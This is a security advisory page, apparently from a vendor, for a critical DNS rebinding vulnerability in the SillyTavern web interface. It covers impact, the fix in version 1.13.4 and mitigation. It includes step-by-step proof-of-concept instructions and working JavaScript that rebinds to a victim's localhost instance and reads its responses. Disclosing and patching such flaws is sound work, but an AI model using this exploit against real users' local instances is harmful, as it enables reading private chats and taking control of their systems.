GHSA-7cxj-w27x-x78q
CRITICALSillyTavern Web Interface Vulnerable DNS Rebinding
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
sillytavernReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sillytavern | all versions | 1.13.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sillytavern. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update sillytavern to 1.13.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7cxj-w27x-x78q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7cxj-w27x-x78q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7cxj-w27x-x78q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7cxj-w27x-x78q in your dependencies?
O3 detects GHSA-7cxj-w27x-x78q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.